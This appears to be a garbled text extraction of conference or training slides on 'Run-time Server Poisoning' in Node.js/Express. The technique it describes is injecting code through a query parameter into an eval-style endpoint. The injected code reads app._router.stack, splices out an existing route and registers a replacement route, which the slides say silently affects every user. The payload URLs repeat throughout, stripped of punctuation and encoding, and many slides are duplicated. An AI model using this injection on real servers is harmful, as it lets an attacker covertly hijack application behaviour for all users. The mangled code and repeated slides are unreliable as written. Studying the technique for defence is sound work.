7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Questions